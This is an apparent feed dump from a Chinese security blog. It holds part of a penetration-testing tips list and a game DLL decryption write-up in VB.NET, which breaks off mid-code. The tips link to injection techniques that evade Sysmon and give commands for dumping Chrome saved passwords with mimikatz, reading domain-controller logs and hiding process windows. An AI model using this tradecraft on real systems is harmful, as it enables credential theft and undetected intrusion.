    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E9%80%9A%E8%BF%87APC%E5%AE%9E%E7%8E%B0Dll%E6%B3%A8%E5%85%A5-%E7%BB%95%E8%BF%87Sysmon%E7%9B%91%E6%8E%A7/"&gt;《通过APC实现Dll注入——绕过Sysmon监控》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_104" class="h16"&gt;&lt;span class="span_for_h"&gt;2、process hollowing&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E5%82%80%E5%84%A1%E8%BF%9B%E7%A8%8B%E7%9A%84%E5%AE%9E%E7%8E%B0%E4%B8%8E%E6%A3%80%E6%B5%8B/"&gt;《傀儡进程的实现与检测》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_105" class="h16"&gt;&lt;span class="span_for_h"&gt;3、Process Doppelgänging&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Process-Doppelganging%E5%88%A9%E7%94%A8%E4%BB%8B%E7%BB%8D/"&gt;《Process Doppelganging利用介绍》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_106" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 53 域内默认共享目录&lt;/span&gt;&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;\\&amp;lt;DOMAIN&amp;gt;\SYSVOL\&amp;lt;DOMAIN&amp;gt;\&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;所有域内主机都能访问，里面保存组策略相关数据，包含登录脚本配置文件等&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8SYSVOL%E8%BF%98%E5%8E%9F%E7%BB%84%E7%AD%96%E7%95%A5%E4%B8%AD%E4%BF%9D%E5%AD%98%E7%9A%84%E5%AF%86%E7%A0%81/"&gt;《域渗透——利用SYSVOL还原组策略中保存的密码》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_107" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 54 你的TeamViewer有可能被反控&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;如果你的TeamViewer版本为&lt;code&gt;13.0.5058&lt;/code&gt;，不要随意连接未知的TeamViewer服务器，有可能被反控&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/TeamViewer-13.0.5058%E4%B8%AD%E7%9A%84%E6%9D%83%E9%99%90%E6%BC%8F%E6%B4%9E%E6%B5%8B%E8%AF%95/"&gt;《TeamViewer 13.0.5058中的权限漏洞测试》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_108" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 55 远程查看域控登录、注销相关的日志：&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_109" class="h16"&gt;&lt;span class="span_for_h"&gt;方法1:&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;wevtutil qe security /rd:true /f:text /q:"*[system/eventid=4624 and 4623 and 4672]" /r:dc1 /u:administrator /p:password &lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;&lt;h4 id="toc_110" class="h16"&gt;&lt;span class="span_for_h"&gt;方法2：&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(不推荐，直接下载文件太大)&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;获取域控文件:&lt;code&gt;C:\Windows\System32\winevt\Logs\Security.evtx&lt;/code&gt;，筛选事件4624/4623/4672&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_111" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 56 判断当前系统是否处在待机状态&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;锁屏状态下GetForegroundWindow()的函数返回值为NULL，非锁屏状态下GetForegroundWindow()的函数返回值为一个非零的值&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://stackoverflow.com/questions/9563549/what-happens-behind-the-windows-lock-screen&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Powershell脚本实现：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/3gstudent/Writeup/blob/master/CheckStandby.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_112" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 57 获得当前系统用户无输入的时间&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过API GetIdleTime进行判断&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;c#实现：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://www.codeproject.com/Articles/13384/Getting-the-user-idle-time-with-C&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;powershell脚本实现：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/3gstudent/Writeup/blob/master/GetIdleTime.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_113" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 58 判断当前系统的屏保启动时间&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;判断是否开启屏保：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;查找注册表&lt;code&gt;HKEY_CURRENT_USER\Control Panel\Desktop&lt;/code&gt;，是否存在键值&lt;code&gt;SCRNSAVE.EXE&lt;/code&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;REG QUERY "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;如果开启屏保，查看键值&lt;code&gt;ScreenSaveTimeOut&lt;/code&gt;获得屏保启动时间(以秒为单位)&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;REG QUERY "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeOut&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;hr&gt;
&lt;h3 id="toc_114" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 59 隐藏指定进程的界面&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过API ShowWindowAsync改变窗口状态&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过powershell实现，脚本可参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/3gstudent/Writeup/blob/master/HiddenProcess.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_115" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 60 通过Powershell对Windows系统截屏&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;脚本下载地址：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://gallery.technet.microsoft.com/scriptcenter/eeff544a-f690-4f6b-a586-11eea6fc5eb8/file/50729/1/Take-ScreenShot.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_116" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 61 查看当前Windows系统已安装的程序&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过枚举注册表项HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall下所有子健的DisplayName获取&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;strong class="md_compiled md_compiled_strong"&gt;注：&lt;/strong&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;64位系统下32位程序的目录为&lt;code&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall&lt;/code&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;powershell脚本实现的参考地址：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/3gstudent/ListInstalledPrograms&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_117" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 62 通过wmi获得当前系统的类型&lt;/span&gt;&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_ComputerSystem get PCSystemType /FORMAT:list&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;|Value|Meaning|&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;| - | - |&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;|0 (0x0) |Unspecified|&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;|1 (0x1) |Desktop|&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;|2 (0x2) |Mobile|&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;|3 (0x3) |Workstation|&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;|4 (0x4) |Enterprise Server|&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;|5 (0x5) |Small Office and Home Office (SOHO) Server|&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;|6 (0x6) |Appliance PC|&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;|7 (0x7) |Performance Server|&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;|8 (0x8) |Maximum|&lt;/span&gt;
&lt;/p&gt;

&lt;span class="md_repeated_n md_repeated_n_2"&gt;&lt;/span&gt;
&lt;hr&gt;
&lt;h3 id="toc_118" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 63 导出Chrome浏览器保存的密码：&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_119" class="h16"&gt;&lt;span class="span_for_h"&gt;1、在线获取&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;方法1:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;读取数据库文件&lt;code&gt;%LocalAppData%\Google\Chrome\User Data\Default\Login Data&lt;/code&gt;，如果Chrome浏览器正在运行，无法直接读取，需要先复制&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;在当前系统调用API CryptUnprotectData直接解密&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;方法2:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;mimikatz&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;vault::cred&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E5%AF%BC%E5%87%BAChrome%E6%B5%8F%E8%A7%88%E5%99%A8%E4%B8%AD%E4%BF%9D%E5%AD%98%E7%9A%84%E5%AF%86%E7%A0%81/"&gt;《渗透技巧——导出Chrome浏览器中保存的密码》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_120" class="h16"&gt;&lt;span class="span_for_h"&gt;2、离线获取&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用Master  Key，不需要获得用户明文密码&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;[Details soon]&lt;/span&gt;
&lt;/p&gt;

&lt;span class="md_repeated_n md_repeated_n_2"&gt;&lt;/span&gt;
&lt;hr&gt;
&lt;h3 id="toc_121" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 65 通过ShadowCopy获得系统的历史文件&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;查询当前系统有无快照：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;vssadmin list shadows&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;访问历史快照中的文件：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;mklink /d c:\testvsc \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy15\
dir c:\testvsc&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block last_md_block_in_page"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;[Details soon]&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_122" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 64&lt;/span&gt;&lt;/h3&gt;</summary>

  </entry>


  <entry>


    <title>Unity3d Assembly-CSharp decode</title>

    <link href="https://www.secbig.com/lofter/2018-02-20-unity3d-assembly-csharp-decode-1"  rel="alternate"></link>

    <updated>2018-02-20T10:38:09Z</updated>
    <id>lofter/2018-02-20-unity3d-assembly-csharp-decode-1</id>

    <author>
      <name>大安全</name>

    </author>
    <summary type="html">&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;没事看了个游戏，虽然我是ios的但是android 不分区，直接去下了一个gpk（还是头一回看见有gpk后缀文件。。孤陋寡闻了）和普通apk一样zip解压  &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_with_image md_line_start next_md_line next_img_before next_only_img_before next_md_line_end"&gt;&lt;img class="md_compiled " src="/LOFTER/img/NnVleEM4enhaZ2l2eXQxdEhhUHNxN3YzOWJoS2VCMjM3UytZNXB0SmtwVEhaQmUwb3Q1RFlBPT0.jpg" alt="" title="" &gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line img_before only_img_before md_line_end"&gt;继续解压application.apk&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_with_image md_line_start next_md_line next_img_before next_only_img_before next_md_line_end"&gt;&lt;img class="md_compiled " src="/LOFTER/img/NnVleEM4enhaZ2hvM0RLYmYxenFGYXQzWEJSY3BJdVFCVUwrSE90ekdTTS9TTDV5L2hyTFJRPT0.jpg" alt="" title="" &gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line img_before only_img_before md_line_end"&gt;dex2jar&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;发现是unity3d的&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_dom_embed md_line_with_image next_md_line next_img_before next_only_img_before"&gt;&lt;img class="md_compiled " src="/LOFTER/img/NnVleEM4enhaZ2hrZkJUUkRxQjBLSzF4QjF6dThPTTA4Y3RjWXJiQmxzUyt6UnpUYi9OMWt3PT0.jpg" alt="" title="" &gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line img_before only_img_before"&gt;直接去application\assets\bin\Data\Managed 下反编译Assembly-CSharp.dll&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;反编译软件报错，说不是正常的dos文件。通过查看Assembly-CSharp.dll的是文件头发现不是正常的文件头应该被加密过的。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"&gt;&lt;img class="md_compiled " src="/LOFTER/img/NnVleEM4enhaZ2hQejhxajRvVS85cUsreVFnWlI0MkdVSEdmVkxOc0Vmb3VOYVorN1B5aW1BPT0.jpg" alt="" title="" &gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;当时心里就表示毙了狗。不过很快就发现了应该只是对十六进制做了普通的字符串加密，并不是加壳等。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;随便找了个dll文件做对比&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;直接把文件拉到最下端。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_with_image md_line_start next_md_line next_img_before next_only_img_before next_md_line_end"&gt;&lt;img class="md_compiled " src="/LOFTER/img/NnVleEM4enhaZ2htSlcxSWhSdXpEM0Q0bG5lRHQwWTMvdkNRb1YwSW1CenB2RjdReW1KUnZnPT0.jpg" alt="" title="" &gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line img_before only_img_before md_line_end"&gt;发现应该被00填充的地方加密文件都被95 CC 8E 8F 90 9C B7 87&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;这8个填充了，感觉有可能是异或文件操作。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;直接拉到最上端取8个字节（因为文件头应该是相似的），对字符串做异或操作。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_with_image md_line_start next_md_line next_img_before next_only_img_before next_md_line_end"&gt;&lt;img class="md_compiled " src="/LOFTER/img/NnVleEM4enhaZ2dYMTJhM3dNTmpFcm0wMkcvaE9SdjZRc0RjOUk0TnVxdnRmR25Pb0tmTzJRPT0.jpg" alt="" title="" &gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line img_before only_img_before md_line_end"&gt;异或后的结果应该是正常的文件头。猜测每隔8位异或95 CC 8E 8F 90 9C B7 87 应该就能成功恢复&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_vbnet  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;Imports&lt;/span&gt; &lt;span class="nn"&gt;System.IO&lt;/span&gt;
&lt;span class="k"&gt;Module&lt;/span&gt; &lt;span class="nn"&gt;Module1&lt;/span&gt;
    &lt;span class="k"&gt;Sub&lt;/span&gt; &lt;span class="nf"&gt;Main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="k"&gt;Try&lt;/span&gt;
            &lt;span class="k"&gt;Dim&lt;/span&gt; &lt;span class="n"&gt;fs&lt;/span&gt; &lt;span class="ow"&gt;As&lt;/span&gt; &lt;span class="k"&gt;New&lt;/span&gt; &lt;span class="n"&gt;FileStream&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;C:\Users\forxu\Desktop\Assembly-CSharp.dll&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;FileMode&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Open&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;FileAccess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Read&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;Dim&lt;/span&gt; &lt;span class="n"&gt;fw&lt;/span&gt; &lt;span class="ow"&gt;As&lt;/span&gt; &lt;span class="k"&gt;New&lt;/span&gt; &lt;span class="n"&gt;FileStream&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;C:\Users\forxu\Desktop\Assembly-CSharp-decode.dll&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;FileMode&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;OpenOrCreate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;FileAccess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Write&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;Dim&lt;/span&gt; &lt;span class="n"&gt;br&lt;/span&gt; &lt;span class="ow"&gt;As&lt;/span&gt; &lt;span class="k"&gt;New&lt;/span&gt; &lt;span class="n"&gt;BinaryReader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;Dim&lt;/span&gt; &lt;span class="n"&gt;bw&lt;/span&gt; &lt;span class="ow"&gt;As&lt;/span&gt; &lt;span class="k"&gt;New&lt;/span&gt; &lt;span class="n"&gt;BinaryWriter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fw&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;Dim&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt; &lt;span class="ow"&gt;As&lt;/span&gt; &lt;span class="kt"&gt;Integer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;fs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;
            &lt;span class="k"&gt;Dim&lt;/span&gt; &lt;span class="n"&gt;keys&lt;/span&gt; &lt;span class="ow"&gt;As&lt;/span&gt; &lt;span class="kt"&gt;Byte&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;New&lt;/span&gt; &lt;span class="kt"&gt;Byte&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;H95&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;HCC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;H8E&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;H8F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;H90&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;H9C&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;HB7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;H87&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="k"&gt;Dim&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="ow"&gt;As&lt;/span&gt; &lt;span class="kt"&gt;Byte&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;New&lt;/span&gt; &lt;span class="kt"&gt;Byte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
            &lt;span class="k"&gt;Dim&lt;/span&gt; &lt;span class="n"&gt;index&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
            &lt;span class="k"&gt;Dim&lt;/span&gt; &lt;span class="n"&gt;keyindex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
            &lt;span class="k"&gt;While&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
                &lt;span class="k"&gt;Try&lt;/span&gt;
                    &lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;keyindex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;br&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ReadByte&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="ow"&gt;Xor&lt;/span&gt; &lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="k"&gt;Catch&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt; &lt;span class="ow"&gt;As&lt;/span&gt; &lt;span class="n"&gt;Exception&lt;/span&gt;
                    &lt;span class="n"&gt;Console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;WriteLine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Message&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
